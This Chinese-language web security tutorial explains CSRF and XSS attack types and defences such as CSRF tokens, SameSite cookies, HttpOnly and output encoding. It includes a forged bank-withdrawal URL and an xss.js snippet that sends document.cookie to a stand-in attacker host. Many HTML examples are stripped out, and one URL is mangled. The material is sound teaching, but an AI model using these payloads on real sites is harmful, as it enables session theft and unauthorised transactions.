CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的
形式:图片URL、超链接、Form提交等,也可以嵌入到第三方论坛、文章中等地方。
危害:攻击者可以盗用用户的身份,以用户的名义进行恶意操作,包括但不限于以用户的名义发送邮件、资金转账、网上等危害用户的操作
一个典型的CSRF攻击有着如下的流程:假定受信的站点A,恶意站点B
a.com
,并保留了登录凭证(Cookie)b.com提供的图片链接
b.com
向 a.com
发送了一个请求:a.com/act=xx,
浏览器会默认携带a.com的Cookie1)GET类型的CSRF
GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:
https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker
在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker
发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。
2) POST类型的CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:
访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。
POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。
3)链接类型的CSRF
链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:
重磅消息!!
由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。
上面使用的是通过GET
请求冒用用户发起请求,不仅GET
请求,POST
也没法防止CSRF
攻击,下面是一个自动提交表单的CSRF
攻击。
用户在打开这个页面后,该表单请求会自动提交,相当于用户自己进行了一次POST请求。
CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。
CSRF的两个特点:
针对这两点,我们可以专门制定防护策略,如下:
因此我们可以针对性得进行预防
1)同源检测
既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求:
2)CSRF Token
CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。
而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击:
CSRF Token的防护策略分为三个步骤:
在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口
那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值
双重Cookie采用以下流程:
csrfcookie=v8g9e4ksfhw
)。POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw
)。Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值:
CSRF是代替用户完成指定的动作,不直接窃取用户数据,而是代替用户发起请求,但需要知道其他用户页面的代码和数据包。
跨站脚本 (Cross-Site Scripting, XSS): 一种代码注入方式, 为了与 CSS 区分所以被称作 XSS. 早期常见于网络论坛, 起因是网站没有对用户的输入进行严格的限制, 使得攻击者可以将脚本上传到帖子让其他人浏览到有恶意脚本的页面, 其注入方式很简单包括但不限于 JavaScript / VBScript / CSS / Flash 等
危害:由于Cookie已经被攻击者获取,因此攻击可以登录账号,进行相关操作,如更改信息、转账、删除数据等敏感操作。
主要原因:太过于信任用户的输入
根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。
1)、存储型 XSS
存储型XSS攻击的攻击代码是存在在网站数据库,当包含该攻击代码的页面被用户打开时,该脚本会自动运行,将打开该网页的所有用户的Cookie发送给攻击者。
存储型 XSS 的攻击步骤:
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
举例子:
假设有一个论坛允许用户留言并且对用户的输入不进行处理,那么攻击者在该网站的某个帖子下面留以下信息。
哈哈哈,有趣有趣
网站将该留言存储到数据库,那么之后每个在访问包含上述留言的用户的Cookie都会被发往攻击者。
2)、反射型 XSS
最常见的XSS请求攻击,将XSS攻击代码放在链接上,由用户点击触发使服务器返回XSS攻击代码,并在客户端执行,从而发起Web攻击。
反射型 XSS 的攻击步骤:
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
举例子:
http://example.org?search=hello,world
:
对于该请求,服务器会将hello,world
回显到页面中返回给客户端,客户端会显示hello,world
。
http://example.org?search=
:
对于该请求,如果服务器对输入没有进行任何处理,那么对于,那么js代码会嵌入到页面中,客户端再渲染页面的时候回执行该js代码,并弹出alter框。
http://example.org?search=
//xss.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://hacker.org/xss?cookie='+encodeURIComponent(document.cookie);
这样将用户在点击上述连接的时候,浏览器会自动引入xss.js
文件,并执行其中js语句,里面的js语句会读取用户Cookie,并将其作为参数访问Get请求的页面,然后Cookie就会发送给攻击者。
3)、DOM 型 XSS
这种类型的攻击与反射型有点类似,区别在于用户的输入并不是由服务器来返回,主要是由客户端通过DOM动态的输出数据到页面,从客户端获得DOM的数据在本地执行。
DOM 型 XSS 的攻击步骤:
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
举例子:
Welcome!
Hi
Welcome to our system
…
该页面中的某些数据是从URL中解析的,比如下面的一个请求http://hacker.org/welcome.html?name=
。用户在点击这个请求的时候,本地浏览器回从URL中获取name属性并填充到HTML中,从而引起XSS攻击。
XSS 攻击有两大要素:
针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?
1)、输入过滤
在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?
答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?
答案是非完全靠谱,在某些情况下会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。所以我们就要通过“防止浏览器执行恶意代码”来防范 XSS。
2)、执行过滤
通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:
(1)、预防存储型和反射型 XSS 攻击
存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。
预防这两种漏洞,有两种常见做法:
(2)、预防 DOM 型 XSS 攻击
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML
、.outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插到页面上
如果用 Vue/React 技术栈,就在前端 render 阶段避免 innerHTML
、outerHTML
的 XSS 隐患。
DOM 中的内联事件监听器,如 location
、onclick
、onerror
、onload
、onmouseover
等, 标签的
href
属性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)
1
如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据
总结:主要解决方案:不信任用户输入的所有数据
Http only
,这样js就无法获取Cookie值;Html encode
处理,将其转化为HTML实体字符的普通文本;
、
等;onclick=
、onfoucs=
等、
Refer
还有一篇帖子:https://cnodejs.org/topic/50463565329c5139760c34a1